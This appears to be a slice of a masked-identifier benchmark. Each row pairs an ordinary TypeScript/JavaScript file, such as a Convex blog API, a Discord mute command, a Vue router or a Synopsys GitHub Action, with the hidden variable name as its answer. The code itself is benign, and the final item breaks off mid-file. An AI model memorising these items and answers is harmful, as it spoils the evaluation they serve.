          migration_in_progress: false
        };
        if (data.success) {
          return {
            ...state,
            needs_migration: false,
          };
        } else {
          console.log(""Failed to migrate keyring: "" + data.error);
        }
      }
      return state;
    case 'OUTGOING_MESSAGE':
      if (
         [MASK] .message.command === 'migrate_keyring' &&
         [MASK] .message.destination === 'daemon'
      ) {
        // Set a flag indicating that we're attempting to migrate the keyring
        return {
          ...state,
          migration_in_progress: true
        };
      }
      return state;
    default:
      return state;
  }
}
",action
529,"import { v } from 'convex/values';

import { Id } from './_generated/dataModel';
import { mutation, query } from './_generated/server';

// Queries

export const getBlogPosts = query({
  args: {
    authorId: v.optional(v.string()),
    limit: v.optional(v.number()),
    cursor: v.optional(v.string()),
  },
  handler: async (ctx, args) => {
    const { authorId, limit = 10, cursor } = args;
    let blogPosts = ctx.db
      .query('blogPosts')
      .order('desc')
      .filter((q) => q.eq(q.field('published'), true));

    if (authorId) {
      blogPosts = blogPosts.filter((q) => q.eq(q.field('authorId'), authorId));
    }

    if (cursor) {
      blogPosts = blogPosts.filter((q) => q.lt(q.field('_id'), cursor));
    }

    const results = await blogPosts.take(limit + 1);
    const  [MASK]  = results.length > limit;
    const nextCursor =  [MASK]  ? results[limit - 1]._id : null;

    return {
      blogPosts: results.slice(0, limit),
      nextCursor,
    };
  },
});

export const getBlogPost = query({
  args: { slug: v.string() },
  handler: async (ctx, args) => {
    const post = await ctx.db
      .query('blogPosts')
      .filter((q) => q.eq(q.field('slug'), args.slug))
      .first();

    if (!post) return null;

    const categories = await ctx.db
      .query('blogPostCategories')
      .filter((q) => q.eq(q.field('postId'), post._id))
      .collect();

    const tags = await ctx.db
      .query('blogPostTags')
      .filter((q) => q.eq(q.field('postId'), post._id))
      .collect();

    const categoryIds = categories.map(
      (c) => c.categoryId
    ) as Id<'blogCategories'>[];
    const tagIds = tags.map((t) => t.tagId) as Id<'blogTags'>[];
    const categoriesData = [];
    for (const categoryId of categoryIds) {
      const category = await ctx.db
        .query('blogCategories')
        .filter((q) => q.eq(q.field('_id'), categoryId))
        .first();
      categoriesData.push(category);
    }

    const tagsData = [];
    for (const tagId of tagIds) {
      const tag = await ctx.db
        .query('blogTags')
        .filter((q) => q.eq(q.field('_id'), tagId))
        .first();
      tagsData.push(tag);
    }

    return { ...post, categories: categoriesData, tags: tagsData };
  },
});

export const getCategories = query({
  handler: async (ctx) => {
    return await ctx.db.query('blogCategories').collect();
  },
});

export const getTags = query({
  handler: async (ctx) => {
    return await ctx.db.query('blogTags').collect();
  },
});

export const getComments = query({
  args: { postId: v.string() },
  handler: async (ctx, args) => {
    return await ctx.db
      .query('blogComments')
      .filter((q) => q.eq(q.field('postId'), args.postId))
      .order('desc')
      .collect();
  },
});

// Mutations

export const createBlogPost = mutation({
  args: {
    title: v.string(),
    content: v.string(),
    excerpt: v.optional(v.string()),
    slug: v.string(),
    published: v.boolean(),
    authorId: v.string(),
    categoryIds: v.array(v.string()),
    tagIds: v.array(v.string()),
    image: v.string(),
  },
  handler: async (ctx, args) => {
    const author = await ctx.db
      .query('Users')
      .filter((q) => q.eq(q.field('userId'), args.authorId))
      .first();
    if (!author) {
      return;
    }
    const postId = await ctx.db.insert('blogPosts', {
      title: args.title,
      content: args.content,
      excerpt: args.excerpt,
      slug: args.slug,
      published: args.published,
      authorId: args.authorId,
      createdAt: Date.now(),
      updatedAt: Date.now(),
      image: args.image,
      authorName: author.name || '',
    });

    for (const categoryId of args.categoryIds) {
      await ctx.db.insert('blogPostCategories', { postId, categoryId });
    }

    for (const tagId of args.tagIds) {
      await ctx.db.insert('blogPostTags', { postId, tagId });
    }

    return postId;
  },
});

export const updateBlogPost = mutation({
  args: {
    id: v.string(),
    title: v.optional(v.string()),
    content: v.optional(v.string()),
    excerpt: v.optional(v.string()),
    slug: v.optional(v.string()),
    published: v.optional(v.boolean()),
    categoryIds: v.optional(v.array(v.string())),
    tagIds: v.optional(v.array(v.string())),
  },
  handler: async (ctx, args) => {
    const { id, ...updateFields } = args;
    const post = await ctx.db
      .query('blogPosts')
      .filter((q) => q.eq(q.field('_id'), id))
      .first();
    if (!post) {
      return;
    }

    await ctx.db.patch(post._id, {
      ...updateFields,
      updatedAt: Date.now(),
    });

    // if (args.categoryIds) {
    //   await ctx.db
    //     .query(""blogPostCategories"")
    //     .filter((q) => q.eq(q.field(""postId""), id))
    //     .delete();
    //   for (const categoryId of args.categoryIds) {
    //     await ctx.db.insert(""blogPostCategories"", { postId: id, categoryId });
    //   }
    // }

    // if (args.tagIds) {
    //   await ctx.db
    //     .query(""blogPostTags"")
    //     .filter((q) => q.eq(q.field(""postId""), id))
    //     .delete();
    //   for (const tagId of args.tagIds) {
    //     await ctx.db.insert(""blogPostTags"", { postId: id, tagId });
    //   }
    // }

    return id;
  },
});

export const deleteBlogPost = mutation({
  args: { id: v.string() },
  handler: async (ctx, args) => {
    const blogPost = await ctx.db
      .query('blogPosts')
      .filter((q) => q.eq(q.field('_id'), args.id))
      .first();
    if (!blogPost) {
      return;
    }
    const categories = await ctx.db
      .query('blogPostCategories')
      .filter((q) => q.eq(q.field('postId'), args.id))
      .collect();
    for (const category of categories) {
      await ctx.db.delete(category._id);
    }
    const tags = await ctx.db
      .query('blogPostTags')
      .filter((q) => q.eq(q.field('postId'), args.id))
      .collect();
    for (const tag of tags) {
      await ctx.db.delete(tag._id);
    }
    const comments = await ctx.db
      .query('blogComments')
      .filter((q) => q.eq(q.field('postId'), args.id))
      .collect();
    for (const comment of comments) {
      await ctx.db.delete(comment._id);
    }
  },
});

export const createCategory = mutation({
  args: {
    name: v.string(),
    slug: v.string(),
    description: v.optional(v.string()),
  },
  handler: async (ctx, args) => {
    return await ctx.db.insert('blogCategories', args);
  },
});

export const createTag = mutation({
  args: {
    name: v.string(),
    slug: v.string(),
  },
  handler: async (ctx, args) => {
    return await ctx.db.insert('blogTags', args);
  },
});

export const createComment = mutation({
  args: {
    content: v.string(),
    authorId: v.string(),
    postId: v.string(),
  },
  handler: async (ctx, args) => {
    return await ctx.db.insert('blogComments', {
      ...args,
      createdAt: Date.now(),
      updatedAt: Date.now(),
    });
  },
});

// export const deleteComment = mutation({
//   args: { id: v.string() },
//   handler: async (ctx, args) => {
//     await ctx.db.delete(args.id);
//   },
// });
",hasMore
530,"import { Contextual } from './components/Contextual';
import { TableRow } from './components/table';

class PermissionsTableRow extends TableRow {}

class UsersTab {
  visit( [MASK] : string, wait = true) {
    cy.visitWithLogin(`/modelRegistrySettings/permissions/${ [MASK] }`);
    if (wait) {
      this.wait();
    }
  }

  private wait() {
    cy.findByTestId('app-page-title');
    cy.testA11y();
  }

  findAddUserButton() {
    return cy.findByTestId('add-button User');
  }

  findAddGroupButton() {
    return cy.findByTestId('add-button Group');
  }

  getUserTable() {
    return new PermissionTable(() => cy.findByTestId('role-binding-table User'));
  }

  getGroupTable() {
    return new PermissionTable(() => cy.findByTestId('role-binding-table Group'));
  }
}

class PermissionTable extends Contextual<HTMLElement> {
  findRows() {
    return this.find().find(`[data-label=Username]`);
  }

  findAddInput() {
    return this.find().findByTestId('role-binding-name-input');
  }

  findEditInput(id: string) {
    return this.find().findByTestId(['role-binding-name-input', id]);
  }

  findGroupSelect() {
    return this.find().get(`[aria-label=""Name selection""]`);
  }

  getTableRow(name: string) {
    return new PermissionsTableRow(() =>
      this.find().find(`[data-label=Username]`).contains(name).parents('tr'),
    );
  }

  findTableHeaderButton(name: string) {
    return this.find().find('thead').findByRole('button', { name });
  }

  findSaveNewButton() {
    return this.find().findByTestId(['save-new-button']);
  }

  findEditSaveButton(id: string) {
    return this.find().findByTestId(['save-button', id]);
  }
}

export const usersTab = new UsersTab();
",mrName
531,"import {
    EmbedBuilder,
    bold,
    PermissionFlagsBits,
    ActionRowBuilder,
    ButtonBuilder,
    ButtonStyle,
    inlineCode,
    ButtonInteraction,
    ComponentType,
} from 'discord.js';

const Command: Moderation.ICommand = {
    usages: ['allvm', 'allmute', 'herkesisustur', 'hsustur', 'muteall'],
    description: 'Ses kanalındaki bulunan tüm kullanıcılara mute atar/açarsınız.',
    examples: ['allmute <işlem seçin>'],
    checkPermission: ({ message }) => message.member.permissions.has(PermissionFlagsBits.MuteMembers),
    execute: async ({ client, message }) => {
        if (!message.member.voice.channelId) {
            client.utils.sendTimedMessage(message, 'Bir ses kanalında bulunman gerekiyor.');
            return;
        }

        const channel = message.member.voice.channel;
        if (3 >= channel.members.size) {
            client.utils.sendTimedMessage(
                message,
                ""Kanalda bulunan kullanıcı sayısı 3'ten az olduğu için işlem iptal edildi!"",
            );
            return;
        }

        const row = new ActionRowBuilder<ButtonBuilder>({
            components: [
                new ButtonBuilder({
                    custom_id: 'mute',
                    label: 'Herkesi Sustur',
                    style: ButtonStyle.Secondary,
                }),
                new ButtonBuilder({
                    custom_id: 'unmute',
                    label: 'Susturmayı Kaldır',
                    style: ButtonStyle.Secondary,
                }),
            ],
        });

        const embed = new EmbedBuilder({
            color: client.utils.getRandomColor(),
            author: {
                name: message.author.username,
                iconURL: message.author.displayAvatarURL({ forceStatic: true }),
            },
        });

        const question = await message.channel.send({
            embeds: [
                embed.setDescription(
                    `${channel} ${inlineCode(channel.id)} adlı kanalda sesteki kullanıcılara yapacağınız işlemi seçin.`,
                ),
            ],
            components: [row],
        });

        const filter = (i: ButtonInteraction) => i.user.id === message.author.id && i.isButton();
        const collector = question.createMessageComponentCollector({
            filter,
            time: 1000 * 60 * 5,
            componentType: ComponentType.Button,
        });

        collector.on('collect', (i: ButtonInteraction) => {

            i.deferUpdate()
            if (i.customId === ""mute"") {
                message.member.voice.channel.members
                    .filter((m) => m.id !== message.member.id && !m.voice.serverMute)
                    .forEach((m) => m.voice.setMute(true, message.author.displayName));

                message.channel.send({
                    embeds: [
                        embed.setDescription(
                            `${message.member.voice.channel} adlı kanaldaki herkesin konuşması ${bold(
                                `kapatıldı ${client.utils.getEmoji('voicemute')}`
                            )}.`,
                        ),
                    ],
                });
            } 
            
            if (i.customId === ""unmute"") {
                message.member.voice.channel.members
                    .filter((m) => m.id !== message.member.id && m.voice && m.voice.serverMute)
                    .forEach((m) => m.voice.setMute(false, message.author.displayName));

                message.channel.send({
                    embeds: [
                        embed.setDescription(
                            `${message.member.voice.channel} adlı kanaldaki herkesin konuşması ${bold(
                                `açıldı ${client.utils.getEmoji('unmute')}`
                            )}.`,
                        ),
                    ],
                });
            }
        })
        collector.on('end', (_,  [MASK] ) => {
            if ( [MASK]  === 'time') {
                const timeFinished = new ActionRowBuilder<ButtonBuilder>({
                    components: [
                        new ButtonBuilder({
                            custom_id: 'timefinished',
                            disabled: true,
                            emoji: { name: '⏱️' },
                            style: ButtonStyle.Danger,
                        }),
                    ],
                });

                question.edit({ components: [timeFinished] });
            }
        })
    },
};

export default Command;
",reason
532,"'use strict';

import {size} from 'lodash';
import PrefPaper from 'preferans-paper-js';
import PrefScoreHand from './prefScoreHand';
import PrefScoreHandGame from './prefScoreHandGame';
import PrefScoreHandRefa from './prefScoreHandRefa';
import {PrefDesignation, PrefScoreMain, PrefScoreFollower} from './prefScore.types';

export {PrefScoreMain, PrefScoreFollower};

export default class PrefScore {
	private readonly _p1: PrefPaper;
	private readonly _p2: PrefPaper;
	private readonly _p3: PrefPaper;

	private _p1username: string;
	private _p2username: string;
	private _p3username: string;

	private _p1score: number;
	private _p2score: number;
	private _p3score: number;

	private readonly _bula: number;
	private readonly _refas: number;
	private _usedRefas: number;
	private readonly _hands: Map<number, PrefScoreHand>;

	constructor(p1username: string, p2username: string, p3username: string, bula: number, refas: number = Infinity) {
		this._hands = new Map<number, PrefScoreHand>();
		this._bula = bula;
		this._refas = refas;
		this._usedRefas = 0;

		this._p1username = p1username;
		this._p2username = p2username;
		this._p3username = p3username;

		this._p1score = -this._bula * 10;
		this._p2score = -this._bula * 10;
		this._p3score = -this._bula * 10;

		this._p1 = new PrefPaper('p1', bula);
		this._p2 = new PrefPaper('p2', bula);
		this._p3 = new PrefPaper('p3', bula);
	}

	public addRefaHand(): PrefScore {
		if (!this._hasUnusedRefas()) throw new Error('PrefScore::addRefaHand:No more unused refas!');

		const hand = new PrefScoreHandRefa();
		const index = size(this._hands) + 1;
		hand.index = index;
		this._hands.set(index, hand);
		this._usedRefas++;
		return this._processHand(hand);
	}

	public addPlayedHand(value: number, main: PrefScoreMain, left: PrefScoreFollower, right: PrefScoreFollower): PrefScore {
		const hand = new PrefScoreHandGame(value, main, left, right);
		const index = size(this._hands) + 1;
		hand.index = index;
		this._hands.set(index, hand);
		return this._processHand(hand);
	}

	public repealHand(index: number): PrefScore {
		if (index > 0) {
			const hand = this._hands.get(index);
			if (hand) {
				hand.repealed = true;
				this._hands.set(index, hand);
				return this._recalculate();
			}
		}
		throw new Error('PrefPapers::repealHand:Hand not found with index ' + index);
	}

	public hasUnplayedRefa(designation: PrefDesignation): boolean {
		return this.getPaper(designation).hasUnplayedRefa();
	}

	get username1(): string {
		return this._p1username;
	}

	set username1(name1: string) {
		this._p1username = name1;
	}

	get username2(): string {
		return this._p2username;
	}

	set username2(name2: string) {
		this._p2username = name2;
	}

	get username3(): string {
		return this._p3username;
	}

	set username3(name3: string) {
		this._p3username = name3;
	}

	get handCount(): number {
		let cnt = 0;
		for (const m of this._hands) {
			if (m[1].refa) cnt++;
			else {
				const h = m[1] as PrefScoreHandGame;
				if (!h.repealed) cnt++;
			}
		}
		return cnt;
	}

	get mini() {
		return {
			p1: {score: this._p1score, paper: this._p1.mini},
			p2: {score: this._p2score, paper: this._p2.mini},
			p3: {score: this._p3score, paper: this._p3.mini}
		};
	}

	get json() {
		return {
			p1: {score: this._p1score, paper: this._p1.json},
			p2: {score: this._p2score, paper: this._p2.json},
			p3: {score: this._p3score, paper: this._p3.json}
		};
	}

	public getPaper(designation: PrefDesignation): PrefPaper {
		if (this._p1.designation === designation) return this._p1;
		if (this._p2.designation === designation) return this._p2;
		return this._p3;
	}

	private _recalculate(): PrefScore {
		this._p1.reset();
		this._p2.reset();
		this._p3.reset();

		this._p1score = -this._bula * 10;
		this._p2score = -this._bula * 10;
		this._p3score = -this._bula * 10;

		for (const hand of this._hands) this._processHand(hand[1]);

		return this;
	}

	private _hasUnusedRefas(): boolean {
		if (Infinity === this._refas) return true;
		return this._refas - this._usedRefas > 0;
	}

	private _processHand(hand: PrefScoreHand) {
		if (hand.refa) return this._processNewRefa();

		const playHand = hand as PrefScoreHandGame;

		const main = playHand.main;
		const left = playHand.left;
		const right = playHand.right;
		const value = playHand.value;

		const  [MASK]  = this.getPaper(main.designation);
		const leftPaper = this.getPaper(left.designation);
		const rightPaper = this.getPaper(right.designation);

		if (playHand.repealed) {
			 [MASK] .processAsMainRepealed(value, main.designation, main.failed);
			if (left.followed) leftPaper.processAsFollowerRepealed(value, left.designation, left.tricks, left.failed, main.designation);
			if (right.followed) rightPaper.processAsFollowerRepealed(value, right.designation, right.tricks, right.failed, main.designation);
		} else {
			 [MASK] .processAsMain(value, main.designation, main.failed);
			if (left.followed) leftPaper.processAsFollower(value, left.designation, left.tricks, left.failed, main.designation);
			if (right.followed) rightPaper.processAsFollower(value, right.designation, right.tricks, right.failed, main.designation);

			let mainScore: number = this._getScoreByDesignation(main.designation);
			let leftScore: number = this._getScoreByDesignation(left.designation);
			let rightScore: number = this._getScoreByDesignation(right.designation);

			mainScore =  [MASK] .left +  [MASK] .right -  [MASK] .middle * 10 - leftPaper.right - rightPaper.left;
			leftScore = leftPaper.left + leftPaper.right - leftPaper.middle * 10 - rightPaper.right -  [MASK] .left;
			rightScore = rightPaper.left + rightPaper.right - rightPaper.middle * 10 -  [MASK] .right - leftPaper.left;

			this._setScoreByDesignation(main.designation, mainScore);
			this._setScoreByDesignation(left.designation, leftScore);
			this._setScoreByDesignation(right.designation, rightScore);
		}

		return this;
	}

	private _getScoreByDesignation(designation: PrefDesignation): number {
		if (this._p1.designation === designation) return this._p1score;
		if (this._p2.designation === designation) return this._p2score;
		return this._p3score;
	}

	private _setScoreByDesignation(designation: PrefDesignation, score: number): void {
		if (this._p1.designation === designation) this._p1score = score;
		else if (this._p2.designation === designation) this._p2score = score;
		else this._p3score = score;
	}

	private _processNewRefa() {
		this._p1.addNewRefa();
		this._p2.addNewRefa();
		this._p3.addNewRefa();
		return this;
	}
}
",mainPaper
533,"import { v4 as uuidv4 } from 'uuid';
import { VehicleStatus, VehicleType } from '../vehicles/vehicles-data.js';
import { Server } from '../../base/base.js';
import { DictionariesRoutes } from './dictionaries-routes.js';
import { Request, Response } from 'express';
import { DelayHandler } from '../../shared/services/delay-handler.js';
import { OrderStatus } from '../orders/orders-data.js';

export interface Dictionary {
  id: string;
  value: string;
  displayValue: string;
}

export class Dictionaries {
  private static readonly vehicleTypeDictionary: Dictionary[] = this.parseEnumToDictionary(VehicleType);
  private static readonly vehicleStatusDictionary: Dictionary[] = this.parseEnumToDictionary(VehicleStatus);
  private static readonly orderStatusDictionary: Dictionary[] = this.parseEnumToDictionary(OrderStatus);

  public static routes(): void {
    Server.app.get(
      DictionariesRoutes.getVehicleType(),
      (req: Request, res: Response) => DelayHandler.delay(() =>
        this.getDictionary(req, res, this.vehicleTypeDictionary)),
    );

    Server.app.get(
      DictionariesRoutes.getVehicleStatus(),
      (req: Request, res: Response) => DelayHandler.delay(() =>
        this.getDictionary(req, res, this.vehicleStatusDictionary)),
    );

    Server.app.get(
      DictionariesRoutes.getOrderStatus(),
      (req: Request, res: Response) => DelayHandler.delay(() =>
        this.getDictionary(req, res, this.orderStatusDictionary)),
    );
  }

  private static getDictionary(_req: Request, res: Response,  [MASK] : unknown[]) {
    res.json( [MASK] );
  }

  private static parseEnumToDictionary(enumName: unknown): Dictionary[] {
    return Object.entries(enumName).map(([key, value]) => ({
      id: uuidv4(),
      value: key,
      displayValue: value,
    }));
  }
}
",dictionary
534,"/**
 * Lightweight in-memory cache to speed-up authorization processes.
 *
 * TODO: extend this with some cross-container cache such as redis or memcached
 */

import { createHash } from 'node:crypto';

const sha256 = (str: string) => createHash('sha256').update(str).digest('hex');

type CachedValue<T> = {
  value: T;
  time: Date;
};

export class HashTableCache<V> {
  /**
   * The number of milliseconds a value should remain valid for
   */
  private readonly cacheItemLifetimeMs: number;

  private map = new Map<string, CachedValue<V>>();

  constructor( [MASK] : { cacheItemLifetimeMs: number }) {
    this.cacheItemLifetimeMs =  [MASK] .cacheItemLifetimeMs;
  }

  public store = (key: string, value: V, cacheTime?: Date): void => {
    this.map.set(sha256(key), {
      value,
      time: cacheTime ?? new Date(),
    });
    this.clearExpiredValues();
  };

  public get = (key: string): V | null => {
    const item = this.map.get(sha256(key));
    if (item && item.time.getTime() + this.cacheItemLifetimeMs > Date.now()) {
      return item.value;
    }
    return null;
  };

  public clearExpiredValues = (): void => {
    const now = Date.now();
    for (const [key, item] of this.map.entries()) {
      if (item.time.getTime() + this.cacheItemLifetimeMs < now) {
        this.map.delete(key);
      }
    }
  };

  public clear = (): void => this.map.clear();

  public size = (): number => this.map.size;
}
",opts
535,"import Rule from ""@/model/types/Rule"";
import Game from '@/model/types/Game';
import RuleModifiers from ""@/model/types/RuleModifiers"";

const rounds = 10;
const start = 5;
const discs = 5;

const Fifty: Rule = {
	id: ""fifty"",
	rounds: rounds,
	distances: ( [MASK] ?: RuleModifiers) => {
		return  [MASK]  &&  [MASK] .start ? [ [MASK] .start] : [start];
	},
	start: start,
	discs: discs,
	color: ""red"",
	nextRound: (distance, hits, game: Game) => {
		let nextRoundDistance = start;
		if (game.ruleModifiers && game.ruleModifiers.start) {
			nextRoundDistance = game.ruleModifiers.start;
		}
		return nextRoundDistance;
	},
	score: (distance: number, hits: number) => hits,
	endCondition: (game: Game) => {
		let totalRounds = rounds;
		if (game.ruleModifiers && game.ruleModifiers.rounds) {
			totalRounds = game.ruleModifiers.rounds;
		}
		return game.rounds.length >= totalRounds * game.players.length
	},
	validOverrides: [""rounds"", ""start"", ""discs""]
};

export default Fifty;
",modifiers
536,"import {
  createRouter,
  createWebHashHistory,
  type RouteRecordRaw,
} from ""vue-router"";
import { useAuthStore } from ""@/stores/auth"";
import { useConfigStore } from ""@/stores/config"";

const routes: Array<RouteRecordRaw> = [
  {
    path: ""/dashboard"",
    redirect: ""/dashboard"",
    component: () => import(""@/layouts/main-layout/MainLayout.vue""),
    meta: {
      middleware: ""auth"",
    },
    children: [
      {
        path: ""/dashboard"",
        name: ""dashboard"",
        component: () => import(""@/views/Dashboard.vue""),
        meta: {
          pageTitle: ""Dashboard"",
          breadcrumbs: [""Dashboards""],
        },
      },
    ],
  },
  {
    path: ""/grievance-track"",
    redirect: ""/grievance-track"",
    component: () => import(""@/layouts/TrackGrievancePageLayout.vue""),
    children: [
      {
        path: ""/grievance-track"",
        name: ""grievance-track"",
        component: () =>import(""@/views/TrackGrievance.vue""),
        meta: {
          pageTitle: ""Grievance Track"",
        },
      },
     
    ],
  },
  {
    path: ""/grievance"",
    redirect: ""/grievance"",
    component: () => import(""@/layouts/main-layout/MainLayout.vue""),
    meta: {
      middleware: ""auth"",
    },
    children: [
      {
        path: ""/grievance"",
        name: ""grievance"",
        component: () => import(""@/views/citizen/GrievanceList.vue""),
        meta: {
          pageTitle: ""Grievance"",
          breadcrumbs: [""Grievance""],
        },
      },
      {
        path: ""/add-public-grievance"",
        name: ""add-public-grievance"",
        component: () => import(""@/views/citizen/AddGrievance.vue""),
        meta: {
          pageTitle: ""Add Grievance"",
          breadcrumbs: [""Add Grievance""],
        },
      },
      {
        path: ""/grievance-details/:id"",
        name: ""grievance details"",
        component: () => import(""@/views/citizen/GrievanceDetails.vue""),
        meta: {
          pageTitle: ""Grievance Details"",
          breadcrumbs: [""Grievance Details""],
        },
      },
    ],
  },
  {
    path: ""/administrative-grievance"",
    redirect: ""/administrative-grievance"",
    component: () => import(""@/layouts/main-layout/MainLayout.vue""),
    meta: {
      middleware: ""auth"",
    },
    children: [
      {
        path: ""/administrative-grievance"",
        name: ""administrative grievance"",
        component: () => import(""@/views/administrative-grievance/GrievanceList.vue""),
        meta: {
          pageTitle: ""Grievance"",
          breadcrumbs: [""Grievance""],
        },
      },
      {
        path: ""/administrative-grievance-list"",
        name: ""administrative grievance list"",
        component: () => import(""@/views/administrative/GrievanceList.vue""),
        meta: {
          pageTitle: ""Administrative Grievance List"",
          breadcrumbs: [""Grievance""],
        },
      },
        {
        path: ""/blacklist"",
        name: ""blacklist"",
        component: () => import(""@/views/administrative/Blacklist.vue""),
        meta: {
          pageTitle: ""Blacklist"",
          breadcrumbs: [""Blacklist""],
        },
      },
     
    ],
  },
  {
    path: ""/sign-in"",
    redirect: ""/sign-in"",
    component: () => import(""@/layouts/AuthLayout.vue""),
    children: [
      {
        path: ""/sign-in"",
        name: ""sign-in"",
        component: () =>
          import(""@/views/crafted/authentication/basic-flow/SignIn.vue""),

        meta: {
          pageTitle: ""Sign In"",
        },
      },
      {
        path: ""/retrieve-pin"",
        name: ""retrieve pin"",
        component: () =>
          import(""@/views/crafted/authentication/basic-flow/RetrievePin.vue""),
        meta: {
          pageTitle: ""Retrieve pin"",
        },
      },
      {
        path: ""/administrative-login"",
        name: ""administrative login"",
        component: () =>
          import(""@/views/crafted/authentication/basic-flow/AdministrativeLogin.vue""),
        meta: {
          pageTitle: ""Retrieve pin"",
        },
      },
    ],
  },
  {
    path: ""/"",
    redirect: ""/"",
    component: () => import(""@/layouts/HomePageLayout.vue""),
    children: [
      {
        path: ""/"",
        name: ""grs-home"",
        component: () => import(""@/views/GrsHome.vue""),
        meta: {
          pageTitle: ""GRS Home"",
        },
      },
     
    ],
  },
  {
    path: ""/register"",
    redirect: ""/register"",
    component: () => import(""@/layouts/RegisterPageLayout.vue""),
    children: [
      {
        path: ""/register"",
        name: ""register"",
        component: () =>import(""@/views/Register.vue""),
        meta: {
          pageTitle: ""Register"",
        },
      },
     
    ],
  },
  {
    path: ""/add-grievance-without-login"",
    redirect: ""/add-grievance-without-login"",
    component: () => import(""@/layouts/AddGrievanceWithoutLoginPageLayout.vue""),
    children: [
      {
        path: ""/add-grievance-without-login"",
        name: ""add grievance without login"",
        component: () =>import(""@/views/AddGrievanceWithoutLogin.vue""),
        meta: {
          pageTitle: ""Add Grievance Without Login"",
        },
      },
     
    ],
  },
  {
    path: ""/"",
    component: () => import(""@/layouts/SystemLayout.vue""),
    children: [
      {
        // the 404 route, when none of the above matches
        path: ""/404"",
        name: ""404"",
        component: () => import(""@/views/crafted/authentication/Error404.vue""),
        meta: {
          pageTitle: ""Error 404"",
        },
      },
      {
        path: ""/500"",
        name: ""500"",
        component: () => import(""@/views/crafted/authentication/Error500.vue""),
        meta: {
          pageTitle: ""Error 500"",
        },
      },
    ],
  },
 
  {
    path: ""/:pathMatch(.*)*"",
    redirect: ""/404"",
  },
  
];

const router = createRouter({
  history: createWebHashHistory(),
  routes,
});

router.beforeEach((to, from, next) => {
  const authStore = useAuthStore();
  const  [MASK]  = useConfigStore();

  // current page view title
  document.title = `${to.meta.pageTitle} - ${import.meta.env.VITE_APP_NAME}`;

  // reset config to initial state
   [MASK] .resetLayoutConfig();

  // verify auth token before each page change
  authStore.verifyAuth();

  // before page access check if page requires authentication
  if (to.meta.middleware == ""auth"") {
    if (authStore.isAuthenticated) {
      next();
    } else {
      next({ name: ""sign-in"" });
    }
  } else {
    next();
  }

  // Scroll page to top on every route change
  window.scrollTo({
    top: 0,
    left: 0,
    behavior: ""smooth"",
  });
});

export default router;
",configStore
537,"import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'
import DefineOptions from 'unplugin-vue-define-options/vite'
import path from 'path'

// https://vitejs.dev/config/
export default defineConfig({
  plugins: [vue(), DefineOptions(), {
    name: 'dts',
    generateBundle(_, bundle) {
      const declarations = Object.values(bundle)
      .filter((chunk) => chunk.type === 'chunk')
      .map((chunk) => {
        const name = path.basename(chunk.fileName, '.js');
        return `export * from './types/${name}';`
      })
      .join('\n')
      const dtsContent = `${declarations}`;
      this.emitFile({
        type: 'asset',
        fileName: 'IpInput.d.ts',
        source: dtsContent,
      })
    }
  }],
  build: {
    lib: {
      entry: path.resolve(__dirname, 'src/components/IpInput.ts'),
      name: 'IpInput',
      fileName: ( [MASK] ) => `IpInput.${ [MASK] }.js`,
    },
    rollupOptions: {
      external: ['vue'],
      output: {
        globals: {
          vue: 'Vue',
        },
      },
    },
  }
})
",format
538,"import UserModel from ""@/model/User"";
import dbConnect from ""@/lib/dbConnect"";
import { getServerSession, User } from ""next-auth"";
import mongoose from ""mongoose"";
import { authOptions } from ""../../auth/[...nextauth]/options"";

export async function DELETE(request:Request, {params}:{params:Promise<{id:string}>}) {
    
    await dbConnect();
    const  [MASK]  = await getServerSession(authOptions);

    if(! [MASK]  || ! [MASK] .user){
        return Response.json({
            success:false,
            message:""Not authenticated""
        },{status:401})
    }

    const user:User =  [MASK] ?.user as User; 
    const {id} = await params;
    const userId = new mongoose.Types.ObjectId(user._id);
    try {

        const deletedUser = await UserModel.updateOne(
            {_id:user._id},
            {
                $pull:{message:{_id:id}}
            }
        )

        if(deletedUser.modifiedCount == 0){
            return Response.json({
                success:false,
                message:""Message not found or already deleted""
            },{status:404})
        }

        return Response.json({
            success:true,
            message:""Message Deleted""
        },{status:200})

    } catch (error) {
        console.error(""delete-message::error::"", error)
        return Response.json({
            success:false,
            message:""Error Deleting the message""
        }, {status:500})
    }
}",session
539,"import {debug, info, setFailed, warning} from '@actions/core'
import {SynopsysToolsParameter} from './synopsys-action/tools-parameter'
import {cleanupTempDir, createTempDir} from './synopsys-action/utility'
import {getBridgeDefaultPath, SynopsysBridge} from './synopsys-action/synopsys-bridge'
import {validateBlackDuckInputs, validateCoverityInputs, validatePolarisInputs} from './synopsys-action/validators'
import * as inputs from './synopsys-action/inputs'

import {getWorkSpaceDirectory} from '@actions/artifact/lib/internal/config-variables'
import {DownloadFileResponse, extractZipped, getRemoteFile} from './synopsys-action/download-utility'
import {rmRF} from '@actions/io'
import * as fs from 'fs'

export async function run() {
  info('Synopsys Action started...')

  const  [MASK]  = await createTempDir()
  let formattedCommand = ''

  try {
    // Automatically configure bridge if Bridge download url is provided
    if (inputs.BRIDGE_DOWNLOAD_URL) {
      // Download file in temporary directory
      info('Downloading and configuring Synopsys Bridge')
      const downloadResponse: DownloadFileResponse = await getRemoteFile( [MASK] , inputs.BRIDGE_DOWNLOAD_URL)
      const extractZippedFilePath: string = inputs.SYNOPSYS_BRIDGE_PATH || getBridgeDefaultPath()

      // Clear the existing bridge, if available
      if (fs.existsSync(extractZippedFilePath)) {
        const files: string[] = fs.readdirSync(extractZippedFilePath)
        for (const file of files) {
          await rmRF(file)
        }
      }

      await extractZipped(downloadResponse.filePath, extractZippedFilePath)
      info('Download and configuration of Synopsys Bridge completed')
    }
  } catch (error: any) {
    await cleanupTempDir( [MASK] )
    info(error)
    if (error.message.includes('404') || error.message.toLowerCase().includes('invalid url')) {
      let os: string = ''
      if (process.env['RUNNER_OS']) {
        os = process.env['RUNNER_OS']
      }
      return Promise.reject('Provided Bridge url is not valid for the configured '.concat(os, ' runner'))
    } else if (error.message.toLowerCase().includes('empty')) {
      return Promise.reject('Provided Bridge URL cannot be empty')
    } else {
      return Promise.reject(error)
    }
  }

  try {
    if (inputs.POLARIS_SERVER_URL == null && inputs.COVERITY_URL == null && inputs.BLACKDUCK_URL == null) {
      warning('Not supported flow')
      return Promise.reject(new Error('Not Supported Flow'))
    }

    if (validatePolarisInputs()) {
      const polarisCommandFormatter = new SynopsysToolsParameter( [MASK] )
      formattedCommand = formattedCommand.concat(polarisCommandFormatter.getFormattedCommandForPolaris())
      debug('Formatted command is - '.concat(formattedCommand))
    }

    if (validateCoverityInputs()) {
      const coverityCommandFormatter = new SynopsysToolsParameter( [MASK] )
